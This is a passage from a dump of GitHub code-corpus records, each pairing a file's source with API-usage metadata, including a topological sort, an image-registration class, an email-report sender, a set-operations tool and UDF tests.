"matplotlib.pyplot.ylabel", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ticklabel_format", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 258, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 259, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 261, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 268, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 268, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ticklabel_format", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 275, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ticklabel_format", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 282, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 285, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 285, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 287, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 292, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 292, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 296, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 296, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ticklabel_format", "line_number": 297, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 297, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 302, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 302, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.twinx", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 309, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 309, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 311, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 311, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ticklabel_format", "line_number": 312, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 312, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 316, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 316, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 318, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 318, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 319, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 319, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.twinx", "line_number": 321, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 321, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 323, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 323, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 324, "usage_type": "name"}]}
{"seq_id": "28233249374", "text": "from collections import defaultdict\n\nn, m = map(int, input().split())\nindegree = [0] * (n+1)\ngraph = defaultdict(list)\nresult = []\nq = []\n\nfor _ in range(m):\n    student1, student2 = map(int, input().split())\n    graph[student1].append(student2)\n    indegree[student2] += 1\n\nfor i in range(1,n+1):\n    if indegree[i] == 0:\n        q.append(i)\n\nwhile q:\n    n = q.pop()\n    result.append(str(n))\n\n    for i in graph[n]:\n        indegree[i] -= 1\n        if indegree[i] == 0:\n            q.append(i)\n\nprint(\" \".join(result))", "repo_name": "lsh424/algorithm", "sub_path": "BAEKJOON/2252.py", "file_name": "2252.py", "file_ext": "py", "file_size_in_byte": 521, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "2948621399", "text": "# print(\"Hello world!\")\n\n# s = input(\"输入一个数字:\")\n\n# print(s)\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.arange(1,10)\n\ny = np.sin(x)\n\nplt.plot(x,y)\n\nnum=input(\"请输入你的名字：\")\nplt.show()\n\nprint(num)", "repo_name": "yuancf1024/Python-cf", "sub_path": "Algorithm/hello.py", "file_name": "hello.py", "file_ext": "py", "file_size_in_byte": 235, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.arange", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}]}
{"seq_id": "26086589025", "text": "from .base_mermaid import MermaidBase\nfrom .utils import *\nimport mermaid.utils as py_utils\nimport mermaid.simple_interface as SI\nclass MermaidIter(MermaidBase):\n    def name(self):\n        return 'mermaid-iter'\n\n    def initialize(self,opt):\n        \"\"\"\n        :param opt: ParameterDict, task settings\n        :return:\n        \"\"\"\n        MermaidBase.initialize(self,opt)\n        method_name =opt['tsk_set']['method_name']\n        if method_name =='affine':\n            self.affine_on = True\n            self.nonp_on = False\n        elif method_name =='nonp':\n            self.affine_on = True\n            self.nonp_on = True\n        elif method_name=='nonp_only':\n            self.affine_on = False\n            self.nonp_on = True\n        self.si = SI.RegisterImagePair()\n        self.opt_optim = opt['tsk_set']['optim']\n        self.compute_inverse_map = opt['tsk_set']['reg'][('compute_inverse_map', False,\"compute the inverse transformation map\")]\n        self.opt_mermaid= self.opt['tsk_set']['reg']['mermaid_iter']\n        self.use_init_weight = self.opt_mermaid[('use_init_weight',False,'whether to use init weight for RDMM registration')]\n        self.init_weight = None\n        self.setting_for_mermaid_affine = self.opt_mermaid[('mermaid_affine_json','','the json path for the setting for mermaid affine')]\n        self.setting_for_mermaid_nonp = self.opt_mermaid[('mermaid_nonp_json','','the json path for the setting for mermaid non-parametric')]\n        nonp_settings = pars.ParameterDict()\n        nonp_settings.load_JSON(self.setting_for_mermaid_nonp)\n        self.nonp_model_name  = nonp_settings['model']['registration_model']['type']\n        self.weights_for_fg = self.opt_mermaid[('weights_for_fg',[0,0,0,0,1.],'regularizer weight for the foregound area, this should be got from the mermaid_json file')]\n        self.weights_for_bg = self.opt_mermaid[('weights_for_bg',[0,0,0,0,1.],'regularizer weight for the background area')]\n        self.saved_mermaid_setting_path = None\n        self.saved_affine_setting_path = None\n        self.inversed_map = None\n        self.use_01 = True\n\n\n\n\n\n\n\n    def set_input(self, data, is_train=True):\n        data[0]['image'] =(data[0]['image'].cuda()+1)/2\n        if 'label' in data[0]:\n            data[0]['label'] =data[0]['label'].cuda()\n        moving, target, l_moving,l_target = get_reg_pair(data[0])\n        input = data[0]['image']\n        self.input_img_sz  = list(moving.shape)[2:]\n        self.original_spacing = data[0]['original_spacing']\n        self.original_im_sz =  data[0]['original_sz']\n        self.spacing = data[0]['spacing'][0] if self.use_physical_coord else 1. / (np.array(self.input_img_sz) - 1)\n        self.spacing = np.array(self.spacing) if type(self.spacing) is not np.ndarray else self.spacing\n        self.moving = moving\n        self.target = target\n        self.l_moving = l_moving\n        self.l_target = l_target\n        self.input = input\n        self.fname_list = list(data[1])\n        self.pair_path = data[0]['pair_path']\n\n\n\n\n    def affine_optimization(self):\n        \"\"\"\n        call affine optimization registration in mermaid\n        :return: warped image, transformation map, affine parameter, loss(None)\n        \"\"\"\n        self.si = SI.RegisterImagePair()\n        extra_info = pars.ParameterDict()\n        extra_info['pair_name'] = self.fname_list\n        af_sigma = self.opt_mermaid['affine']['sigma']\n        self.si.opt = None\n        self.si.set_initial_map(None)\n        if self.saved_affine_setting_path is None:\n            self.saved_affine_setting_path = self.save_setting(self.setting_for_mermaid_affine,self.record_path,'affine_setting.json')\n\n        cur_affine_json_saving_path =(os.path.join(self.record_path,'cur_settings_affine.json'),os.path.join(self.record_path,'cur_settings_affine_comment.json'))\n        self.si.register_images(self.moving, self.target, self.spacing,extra_info=extra_info,LSource=self.l_moving,LTarget=self.l_target,\n                                visualize_step=None,\n                                use_multi_scale=True,\n                                rel_ftol=0,\n                                similarity_measure_sigma=af_sigma,\n                                json_config_out_filename=cur_affine_json_saving_path,  #########################################\n                                params =self.saved_affine_setting_path) #'../easyreg/cur_settings_affine_tmp.json'\n\n        self.output = self.si.get_warped_image()\n        self.phi = self.si.opt.optimizer.ssOpt.get_map()\n        self.phi = self.phi.detach().clone()\n        # for i in range(self.dim):\n        #     self.phi[:, i, ...] = self.phi[:, i, ...] / ((self.input_img_sz[i] - 1) * self.spacing[i])\n\n        Ab = self.si.opt.optimizer.ssOpt.model.Ab\n\n        if self.compute_inverse_map:\n            inv_Ab = py_utils.get_inverse_affine_param(Ab.detach())\n            identity_map = py_utils.identity_map_multiN([1, 1] + self.input_img_sz, self.spacing)\n            self.inversed_map = py_utils.apply_affine_transform_to_map_multiNC(inv_Ab, torch.Tensor(identity_map).cuda())  ##########################3\n            self.inversed_map = self.inversed_map.detach()\n        self.afimg_or_afparam = Ab\n        save_affine_param_with_easyreg_custom(self.afimg_or_afparam,self.record_path,self.fname_list,affine_compute_from_mermaid=True)\n        return self.output.detach_(), self.phi.detach_(), self.afimg_or_afparam.detach_(), None\n\n\n\n\n\n    def nonp_optimization(self):\n        \"\"\"\n        call non-parametric image registration in mermaid\n        if the affine registration is performed first, the affine transformation map would be taken as the initial map\n        if the init weight on mutli-gaussian regularizer are set, the initial weight map would be computed from the label map, make sure the model called support spatial variant regularizer\n\n        :return: warped image, transformation map, affined image, loss(None)\n        \"\"\"\n        affine_map = None\n        if self.affine_on:\n            affine_map = self.si.opt.optimizer.ssOpt.get_map()\n\n        self.si =  SI.RegisterImagePair()\n        extra_info = pars.ParameterDict()\n        extra_info['pair_name'] = self.fname_list\n        self.si.opt = None\n        if affine_map is not None:\n            self.si.set_initial_map(affine_map.detach(), self.inversed_map)\n\n        if self.use_init_weight:\n            init_weight = get_init_weight_from_label_map(self.l_moving, self.spacing,self.weights_for_bg,self.weights_for_fg)\n            init_weight = py_utils.compute_warped_image_multiNC(init_weight,affine_map,self.spacing,spline_order=1,zero_boundary=False)\n            self.si.set_weight_map(init_weight.detach(), freeze_weight=True)\n\n        if self.saved_mermaid_setting_path is None:\n            self.saved_mermaid_setting_path = self.save_setting(self.setting_for_mermaid_nonp,self.record_path,\"nonp_setting.json\")\n        cur_mermaid_json_saving_path =(os.path.join(self.record_path,'cur_settings_nonp.json'),os.path.join(self.record_path,'cur_settings_nonp_comment.json'))\n        self.si.register_images(self.moving, self.target, self.spacing, extra_info=extra_info, LSource=self.l_moving,\n                                LTarget=self.l_target,\n                                visualize_step=None,\n                                use_multi_scale=True,\n                                rel_ftol=0,\n                                compute_inverse_map=self.compute_inverse_map,\n                                json_config_out_filename=cur_mermaid_json_saving_path,\n                                params=self.saved_mermaid_setting_path) #'../mermaid_settings/cur_settings_svf_dipr.json'\n        self.afimg_or_afparam = self.output # here return the affine image\n        self.output = self.si.get_warped_image()\n        self.phi = self.si.opt.optimizer.ssOpt.get_map()\n        # for i in range(self.dim):\n        #     self.phi[:,i,...] = self.phi[:,i,...]/ ((self.input_img_sz[i]-1)*self.spacing[i])\n\n        if self.compute_inverse_map:\n            self.inversed_map = self.si.get_inverse_map().detach()\n        return self.output.detach_(), self.phi.detach_(), self.afimg_or_afparam.detach_() if self.afimg_or_afparam is not None else None, None\n\n\n    def save_setting(self,path, output_path,fname='mermaid_setting.json'):\n        \"\"\"\n        save the mermaid settings into task record folder\n        :param path: path of mermaid setting file\n        :param output_path: path of task record folder\n        :param fname: saving name\n        :return: saved setting path\n        \"\"\"\n        params = pars.ParameterDict()\n        params.load_JSON(path)\n        os.makedirs(output_path, exist_ok=True)\n        output_path = os.path.join(output_path, fname)\n        params.write_JSON(output_path, save_int=False)\n        return output_path\n\n\n\n\n    def save_image_into_original_sz_with_given_reference(self):\n        \"\"\"\n        save the image into original sz (the sz before resampling) and with the original physical settings, i.e. spacing, origin, orientation\n        :return:\n        \"\"\"\n        # the original image sz in one batch should be the same\n        self._save_image_into_original_sz_with_given_reference(self.pair_path,self.phi, inverse_phis=self.inversed_map, use_01=self.use_01)\n\n\n\n\n    def forward(self,input=None):\n        if self.affine_on and not self.nonp_on:\n            return self.affine_optimization()\n        elif self.affine_on and self.nonp_on:\n            self.affine_optimization()\n            return self.nonp_optimization()\n\n        else:\n            return self.nonp_optimization()\n\n\n\n    def cal_val_errors(self):\n        self.cal_test_errors()\n\n    def cal_test_errors(self):\n        self.get_evaluation()\n\n\n\n    def get_jacobi_val(self):\n        \"\"\"\n        :return: the sum of absolute value of  negative determinant jacobi, the num of negative determinant jacobi voxels\n        \"\"\"\n        return self.jacobi_val\n\n    def get_the_jacobi_val(self):\n        return self.jacobi_val\n\n\n\n\n\n\n    def __get_adaptive_smoother_map(self):\n        \"\"\"\n        get the adaptive smoother weight map from spatial-variant regualrizer model\n        supported weighting type 'sqrt_w_K_sqrt_w' and 'w_K_w'\n        for weighting type == 'w_k_w'\n        :math:'\\sigma^{2}(x)=\\sum_{i=0}^{N-1} w^2_{i}(x) \\sigma_{i}^{2}'\n        for weighting type = 'sqrt_w_K_sqrt_w'\n        :math:'\\sigma^{2}(x)=\\sum_{i=0}^{N-1} w_{i}(x) \\sigma_{i}^{2}'\n        :return: adapative smoother weight map \\sigma\n        \"\"\"\n        model =  self.si.opt.optimizer.ssOpt.model\n        smoother =  self.si.opt.optimizer.ssOpt.model.smoother\n        adaptive_smoother_map = model.local_weights.detach()\n        gaussian_weights = smoother.get_gaussian_weights().detach()\n        print(\" the current global gaussian weight is {}\".format(gaussian_weights))\n\n        gaussian_stds = smoother.get_gaussian_stds().detach()\n        print(\" the current global gaussian stds is {}\".format(gaussian_stds))\n        view_sz = [1] + [len(gaussian_stds)] + [1] * len(self.spacing)\n        gaussian_stds = gaussian_stds.view(*view_sz)\n        weighting_type = smoother.weighting_type\n        if weighting_type == 'w_K_w':\n            adaptive_smoother_map = adaptive_smoother_map**2 # todo   this is only necessary when we use w_K_W\n\n        smoother_map = adaptive_smoother_map*(gaussian_stds**2)\n        smoother_map = torch.sqrt(torch.sum(smoother_map,1,keepdim=True))\n        #_,smoother_map = torch.max(adaptive_smoother_map.detach(),dim=1,keepdim=True)\n        self._display_stats(smoother_map.float(),'statistic for weighted smoother map')\n        return smoother_map\n\n\n\n    def __get_momentum(self):\n        param =  self.si.get_model_parameters()\n        return param['m'].detach()\n    def _display_stats(self, Ia, iname):\n        \"\"\"\n        statistic analysis on variable\n        :param Ia: the input variable\n        :param iname: variable name\n        :return:\n        \"\"\"\n\n        Ia_min = Ia.min().detach().cpu().numpy()\n        Ia_max = Ia.max().detach().cpu().numpy()\n        Ia_mean = Ia.mean().detach().cpu().numpy()\n        Ia_std = Ia.std().detach().cpu().numpy()\n\n        print('{}:the: [min {:.2f},mean {:.2f},max {:.2f}](std {:.2f})'.format(iname, Ia_min,Ia_mean,Ia_max,Ia_std))\n\n\n\n\n    def get_extra_to_plot(self):\n        \"\"\"\n        plot extra image, i.e. the initial weight map of rdmm model\n        :return:\n        \"\"\"\n        if self.nonp_on:\n            if self.nonp_model_name=='lddmm_adapt_smoother_map':\n                return self.__get_adaptive_smoother_map(), 'inital_weight'\n            else:\n                return self.__get_momentum(), \"Momentum\"\n        else:\n            return None, None\n\n\n\n\n    def set_val(self):\n        self.is_train = False\n\n    def set_debug(self):\n        self.is_train = False\n\n    def set_test(self):\n        self.is_train = False\n\n\n\n", "repo_name": "uncbiag/easyreg", "sub_path": "easyreg/mermaid_iter.py", "file_name": "mermaid_iter.py", "file_ext": "py", "file_size_in_byte": 12862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 148, "dataset": "github-code", "pt": "78", "api": [{"api_name": "base_mermaid.MermaidBase", "line_number": 5, "usage_type": "name"}, {"api_name": "base_mermaid.MermaidBase.initialize", "line_number": 14, "usage_type": "call"}, {"api_name": "base_mermaid.MermaidBase", "line_number": 14, "usage_type": "name"}, {"api_name": "mermaid.simple_interface.RegisterImagePair", "line_number": 25, "usage_type": "call"}, {"api_name": "mermaid.simple_interface", "line_number": 25, "usage_type": "name"}, {"api_name": "mermaid.simple_interface.RegisterImagePair", "line_number": 76, "usage_type": "call"}, {"api_name": "mermaid.simple_interface", "line_number": 76, "usage_type": "name"}, {"api_name": "mermaid.utils.get_inverse_affine_param", "line_number": 103, "usage_type": "call"}, {"api_name": "mermaid.utils", "line_number": 103, "usage_type": "name"}, {"api_name": "mermaid.utils.identity_map_multiN", "line_number": 104, "usage_type": "call"}, {"api_name": "mermaid.utils", "line_number": 104, "usage_type": "name"}, {"api_name": "mermaid.utils.apply_affine_transform_to_map_multiNC", "line_number": 105, "usage_type": "call"}, {"api_name": "mermaid.utils", "line_number": 105, "usage_type": "name"}, {"api_name": "mermaid.simple_interface.RegisterImagePair", "line_number": 127, "usage_type": "call"}, {"api_name": "mermaid.simple_interface", "line_number": 127, "usage_type": "name"}, {"api_name": "mermaid.utils.compute_warped_image_multiNC", "line_number": 136, "usage_type": "call"}, {"api_name": "mermaid.utils", "line_number": 136, "usage_type": "name"}]}
{"seq_id": "40373999600", "text": "# -*- coding: utf-8 -*-\nimport smtplib\nimport email\n# Constructing text\nfrom email.mime.text import MIMEText\n# Constructing picture\nfrom email.mime.image import MIMEImage\n# Collection objects\nfrom email.mime.multipart import MIMEMultipart\nfrom email.header import Header\nclass emaile:\n    def __init__(self, sender, license, receiver, subject, attach_file):\n        self.sender = sender\n        self.license = license\n        self.receiver = receiver\n        self.subject = subject\n        self.attach_file = attach_file\n\n    def send_emaile(self):\n        # SMTP Service\n        mail_host = \"smtp.163.com\"\n        # Sender's mailbox\n        mail_sender = self.sender\n        # E-mail authorization code\n        mail_license = self.license\n        # Recipient mailbox, could be multiple recipients\n        mail_receivers = self.receiver\n\n        mm = MIMEMultipart('related')\n\n        # Message subject\n        subject_content = self.subject\n        # Sender\n        mm[\"From\"] = \"sender_name\" + \"<\" + self.sender + \">\"\n        # Accepter\n        mm[\"To\"] = \"receiver_1_name<\" + self.receiver[0] + \">,receiver_2_name<\" + self.receiver[1] + \">\"\n        # Main object\n        mm[\"Subject\"] = Header(subject_content,'utf-8')\n\n        # Emaile body\n        body_content = \"\"\"你好，请查收昨天的销售额！\"\"\"\n        # Parameters\n        message_text = MIMEText(body_content,\"plain\",\"utf-8\")\n        # Add text\n        mm.attach(message_text)\n\n\n        # Constructing attachments\n        atta = MIMEText(open(self.attach_file, 'rb').read(), 'base64', 'utf-8')\n        # Set attachment information\n        atta[\"Content-Disposition\"] = 'attachment; filename=\"3000.csv\"'\n        # Add attachments to email messages\n        mm.attach(atta)\n\n        # Create SMTP object\n        stp = smtplib.SMTP()\n        # Set the domain name and port of the sender's mailbox, the port address is 25\n        stp.connect(mail_host, 25)\n        # set_debuglevel(1) could print out all the information interacting with the SMTP server\n        stp.set_debuglevel(1)\n        # Log in to the mailbox\n        stp.login(mail_sender,mail_license)\n        # Send mail\n        stp.sendmail(mail_sender, mail_receivers, mm.as_string())\n        print(\"邮件发送成功\")\n        # Close SMTP object\n        stp.quit()\n\n\n\n", "repo_name": "duodewei/Automated_reports", "sub_path": "core/Emaile_data.py", "file_name": "Emaile_data.py", "file_ext": "py", "file_size_in_byte": 2298, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 29, "usage_type": "call"}, {"api_name": "email.header.Header", "line_number": 38, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 43, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 49, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "2759702634", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nSet Tool: Line-by-line text file union, intersection, difference etc.\nTimo Würsch July 2013\n\"\"\"\n\ndef textfile_to_set(filename, tolower):\n    lines_as_set = set()\n    with open(filename, \"r\") as f:\n        for line in f:\n            line = line.strip()\n            if tolower:\n                line = line.lower()\n            if line != \"\":\n                lines_as_set.add(line)\n    return lines_as_set\n\nif __name__ == '__main__':\n    # Parse command line arguments\n    import argparse, sys\n    argument_parser = argparse.ArgumentParser()\n    argument_parser.add_argument(\"-i\", \"--insensitive\", help = \"Make matching case insensitive. Default is case-sensitive.\", action = \"store_true\")\n    argument_parser.add_argument(\"fileA\", help = \"File with the elements for set A\")\n    argument_parser.add_argument(\"op\", help = \"Operator. One of: union (u, +), intersect (n, i), difference (d, -), equals (equal, is, =), strictsuperset (>, strictsuper), superset (>=, super), strictsubset (<, strictsub), subset (<=, sub)\")\n    argument_parser.add_argument(\"fileB\", help = \"File with the elements for set B\")\n    args = argument_parser.parse_args()\n    if args.op.lower() in [\"u\", \"union\", \"+\"]:\n        operator = \"union\"\n    elif args.op.lower() in [\"i\", \"intersect\", \"intersection\", \"n\"]:\n        operator = \"intersection\"\n    elif args.op.lower() in [\"d\", \"diff\", \"difference\", \"-\"]:\n        operator = \"difference\"\n    elif args.op.lower() in [\"equals\", \"equal\", \"is\", \"=\"]:\n        operator = \"equality\"\n    elif args.op.lower() in [\">\", \"strictsuperset\", \"strictsuper\"]:\n        operator = \"strictsuperset\"\n    elif args.op.lower() in [\">=\", \"superset\", \"super\"]:\n        operator = \"superset\"\n    elif args.op.lower() in [\"<\", \"strictsubset\", \"strictsub\"]:\n        operator = \"strictsubset\"\n    elif args.op.lower() in [\"<=\", \"subset\", \"sub\"]:\n        operator = \"subset\"\n    elif args.op.lower() in [\"disjoint\", \"dis\"]:\n        operator = \"disjoint\"\n    else:\n        print(\"Unknown operator \\\"\" + args.op + \"\\\".\")\n        argument_parser.print_help()\n        sys.exit(1)\n    \n    # Read files\n    try:\n        setA = textfile_to_set(args.fileA, args.insensitive)\n    except IOError:\n        print(\"Could not open file A \\\"\" + args.fileA + \"\\\"\")\n        sys.exit(1)\n    try:\n        setB = textfile_to_set(args.fileB, args.insensitive)\n    except IOError:\n        print(\"Could not open file B \\\"\" + args.fileB + \"\\\"\")\n        sys.exit(1)    \n    \n    # Calculate\n    if operator == \"union\":\n        result = setA.union(setB)\n    elif operator == \"intersection\":\n        result = setA.intersection(setB)\n    elif operator == \"difference\":\n        result = setA.difference(setB)\n    elif operator == \"equality\":\n        result = setA == setB\n    elif operator == \"strictsuperset\":\n        result = setA > setB\n    elif operator == \"superset\":\n        result = setA >= setB\n    elif operator == \"strictsubset\":\n        result = setA < setB\n    elif operator == \"subset\":\n        result = setA <= setB\n    elif operator == \"disjoint\":\n        result = setA.isdisjoint(setB)\n    \n    # Output\n    if type(result) == set:\n        for element in result:\n            print(element)\n    elif type(result) == bool:\n        if result:\n            print(str(True))\n        else:\n            print(str(False))\n    \n    # That's all folks!\n    sys.exit(0)\n", "repo_name": "twuersch/timotools", "sub_path": "settool.py", "file_name": "settool.py", "file_ext": "py", "file_size_in_byte": 3391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 94, "usage_type": "call"}]}
{"seq_id": "12031277221", "text": "\"\"\"\nTests for most frequent UDF\n\"\"\"\nimport numpy as np\nimport pytest\n\n\n@pytest.mark.parametrize(\"source_type\", [\"snowflake\", \"spark\"], indirect=True)\n@pytest.mark.parametrize(\n    \"counts, expected\",\n    [\n        ({}, None),\n        ({\"__MISSING__\": None}, None),\n        (None, None),\n        ({\"a\": 1}, \"a\"),\n        ({\"a\": 1, \"b\": 2, \"c\": 3}, \"c\"),\n        ({\"a\": 1, \"b\": np.nan, \"c\": 3}, \"c\"),\n        ({\"a\": np.nan}, None),\n        ({\"a\": -1, \"b\": np.nan, \"c\": -3}, \"a\"),\n    ],\n)\n@pytest.mark.asyncio\nasync def test_most_frequent_udf(session, to_object, counts, expected):\n    \"\"\"\n    Test most frequent UDF\n    \"\"\"\n\n    expr = to_object(counts)\n    query = f\"SELECT F_COUNT_DICT_MOST_FREQUENT({expr}) AS OUT\"\n    df = await session.execute_query(query)\n    actual = df.iloc[0][\"OUT\"]\n    assert actual == expected\n\n\n@pytest.mark.parametrize(\"source_type\", [\"snowflake\", \"spark\"], indirect=True)\n@pytest.mark.parametrize(\n    \"counts, expected\",\n    [\n        ({}, np.nan),\n        ({\"__MISSING__\": None}, np.nan),\n        # (None, np.nan),  skipped because spark returns None bypassing UDF call\n        ({\"a\": 1}, 1),\n        ({\"a\": 1, \"b\": 2, \"c\": 3}, 3),\n        ({\"a\": 1, \"b\": np.nan, \"c\": 3}, 3),\n        ({\"a\": np.nan}, np.nan),\n    ],\n)\n@pytest.mark.asyncio\nasync def test_most_frequent_value_udf(session, to_object, counts, expected):\n    \"\"\"\n    Test most frequent value UDF\n    \"\"\"\n\n    expr = to_object(counts)\n    query = f\"SELECT F_COUNT_DICT_MOST_FREQUENT_VALUE({expr}) AS OUT\"\n    df = await session.execute_query(query)\n    actual = df.iloc[0][\"OUT\"]\n    np.testing.assert_allclose(actual, expected, equal_nan=True)\n", "repo_name": "featurebyte/featurebyte", "sub_path": "tests/integration/udf/test_most_frequent.py", "file_name": "test_most_frequent.py", "file_ext": "py", "file_size_in_byte": 1639, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pytest.mark.parametrize", "line_number": 8, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 9, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_allclose", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.testing", 